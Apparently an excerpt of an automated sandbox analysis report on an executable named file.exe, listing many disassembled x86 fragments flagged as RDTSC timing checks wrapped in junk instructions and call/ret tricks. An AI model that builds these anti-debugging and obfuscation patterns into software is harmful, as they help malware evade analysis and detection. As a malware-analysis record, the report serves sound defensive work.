Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 622143 second address: 6221B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FC070C1F306h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edi 0x0000000f jnl 00007FC070C1F30Ch 0x00000015 jno 00007FC070C1F306h 0x0000001b pop edi 0x0000001c nop 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007FC070C1F308h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 00000019h 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 sub edi, 636A1162h 0x0000003d lea eax, dword ptr [ebp+12487EC2h] 0x00000043 push 00000000h 0x00000045 push ebx 0x00000046 call 00007FC070C1F308h 0x0000004b pop ebx 0x0000004c mov dword ptr [esp+04h], ebx 0x00000050 add dword ptr [esp+04h], 00000014h 0x00000058 inc ebx 0x00000059 push ebx 0x0000005a ret 0x0000005b pop ebx 0x0000005c ret 0x0000005d mov dl, 6Fh 0x0000005f nop 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 jno 00007FC070C1F306h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6221B6 second address: 6221CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC070F37E42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 622794 second address: 622798 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 622798 second address: 62279E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62279E second address: 6227B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC070C1F313h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6227B5 second address: 6227C3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6227C3 second address: 6227C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6227C7 second address: 6227CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6227CB second address: 622825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FC070C1F311h 0x0000000c pop ebx 0x0000000d popad 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jnc 00007FC070C1F314h 0x00000018 mov eax, dword ptr [eax] 0x0000001a jmp 00007FC070C1F313h 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push ebx 0x00000026 jmp 00007FC070C1F30Bh 0x0000002b pop ebx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 622825 second address: 6228AD instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC070F37E3Ch 0x00000008 jbe 00007FC070F37E36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop eax 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007FC070F37E38h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov edi, dword ptr [ebp+122D2A81h] 0x00000031 call 00007FC070F37E39h 0x00000036 jmp 00007FC070F37E41h 0x0000003b push eax 0x0000003c jmp 00007FC070F37E49h 0x00000041 mov eax, dword ptr [esp+04h] 0x00000045 jmp 00007FC070F37E3Eh 0x0000004a mov eax, dword ptr [eax] 0x0000004c push eax 0x0000004d push edx 0x0000004e push edi 0x0000004f jno 00007FC070F37E36h 0x00000055 pop edi 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6228AD second address: 6228C7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC070C1F30Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push ecx 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6229D4 second address: 6229DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6229DA second address: 6229DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6229DE second address: 6229F2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b mov cx, dx 0x0000000e nop 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 622B84 second address: 622B89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 622B89 second address: 622B8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 622B8F second address: 622B93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 622CD0 second address: 622CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 622CD4 second address: 622CDA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 622CDA second address: 622CDF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62306E second address: 623099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D5A12h], edx 0x0000000f push 0000001Eh 0x00000011 nop 0x00000012 pushad 0x00000013 push ebx 0x00000014 jmp 00007FC070C1F312h 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 623099 second address: 62309D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62309D second address: 6230B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC070C1F30Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 623454 second address: 623458 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 623458 second address: 623473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC070C1F310h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 623473 second address: 62347D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 657139 second address: 65713F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65713F second address: 657144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 657144 second address: 65714A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6572BF second address: 6572C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6572C3 second address: 6572D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6572D0 second address: 6572E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 popad 0x0000000a pushad 0x0000000b jo 00007FC070F37E3Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65749B second address: 6574AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jo 00007FC070C1F306h 0x0000000b popad 0x0000000c jnc 00007FC070C1F30Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65761B second address: 657625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 657625 second address: 657630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FC070C1F306h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65779C second address: 6577A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6577A2 second address: 6577D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FC070C1F313h 0x0000000c pop ebx 0x0000000d popad 0x0000000e pushad 0x0000000f push ecx 0x00000010 je 00007FC070C1F306h 0x00000016 jmp 00007FC070C1F30Ch 0x0000001b pop ecx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66143C second address: 661440 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65FF58 second address: 65FF5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65FF5F second address: 65FF91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC070F37E42h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC070F37E47h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 660117 second address: 660138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC070C1F318h 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 660332 second address: 66033C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6605E9 second address: 6605F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FC070C1F306h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6605F5 second address: 6605F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 660C2E second address: 660C5A instructions: 0x00000000 rdtsc 0x00000002 je 00007FC070C1F306h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FC070C1F308h 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FC070C1F316h 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 663D2D second address: 663D55 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC070F37E3Ch 0x00000008 push ebx 0x00000009 ja 00007FC070F37E36h 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop ebx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jg 00007FC070F37E3Ch 0x0000001c je 00007FC070F37E36h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6667A9 second address: 6667C9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC070C1F306h 0x00000008 jmp 00007FC070C1F316h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6664BE second address: 6664D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push esi 0x00000007 jne 00007FC070F37E36h 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6664D2 second address: 666502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC070C1F30Fh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FC070C1F313h 0x00000010 jl 00007FC070C1F306h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 666502 second address: 666507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 666507 second address: 666526 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC070C1F319h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 666526 second address: 66652A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66C0DB second address: 66C0E9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC070C1F306h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 622E9B second address: 622EB6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC070F37E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC070F37E3Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 622EB6 second address: 622EE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC070C1F30Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push edi 0x0000000b movsx edx, di 0x0000000e pop edi 0x0000000f mov ebx, dword ptr [ebp+12487F01h] 0x00000015 mov edx, dword ptr [ebp+122D2C2Dh] 0x0000001b add eax, ebx 0x0000001d and edi, dword ptr [ebp+122D2673h] 0x00000023 push eax 0x00000024 push esi 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66C225 second address: 66C239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC070F37E40h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66C239 second address: 66C23F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66C23F second address: 66C274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 jmp 00007FC070F37E3Ch 0x0000000d jmp 00007FC070F37E44h 0x00000012 pushad 0x00000013 je 00007FC070F37E36h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b push edx 0x0000001c pop edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66C3DC second address: 66C3E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66C3E2 second address: 66C3F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d ja 00007FC070F37E36h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66C3F6 second address: 66C409 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC070C1F30Eh 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66FB02 second address: 66FB08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66FC3C second address: 66FC42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66FC42 second address: 66FC4C instructions: 0x00000000 rdtsc 0x00000002 je 00007FC070F37E36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66FC4C second address: 66FC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC070C1F316h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66FC6E second address: 66FC7B instructions: 0x00000000 rdtsc 0x00000002 js 00007FC070F37E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67410D second address: 67411D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC070C1F30Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67411D second address: 674132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC070F37E41h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6747CE second address: 6747D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6747D4 second address: 6747DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6747DA second address: 6747E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6747E0 second address: 6747EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jnl 00007FC070F37E36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 674919 second address: 67491D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67AA60 second address: 67AA8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC070F37E46h 0x00000008 jno 00007FC070F37E36h 0x0000000e jnp 00007FC070F37E36h 0x00000014 popad 0x00000015 jne 00007FC070F37E3Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67AA8E second address: 67AA9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FC070C1F320h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67B051 second address: 67B07A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC070F37E3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007FC070F37E47h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67B5EB second address: 67B601 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007FC070C1F306h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jne 00007FC070C1F306h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67B601 second address: 67B605 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67B8F5 second address: 67B8FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67B8FC second address: 67B906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 681F4D second address: 681F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6852A6 second address: 6852AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 685696 second address: 6856AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007FC070C1F30Ch 0x0000000e jc 00007FC070C1F306h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6856AE second address: 6856B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 685962 second address: 685999 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC070C1F30Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jno 00007FC070C1F30Ch 0x00000010 pushad 0x00000011 jmp 00007FC070C1F315h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68D3D4 second address: 68D3ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC070F37E45h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68D3ED second address: 68D402 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC070C1F311h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68D402 second address: 68D416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC070F37E3Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68D416 second address: 68D41C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68D41C second address: 68D42D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC070F37E3Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68D701 second address: 68D705 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68D705 second address: 68D70B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
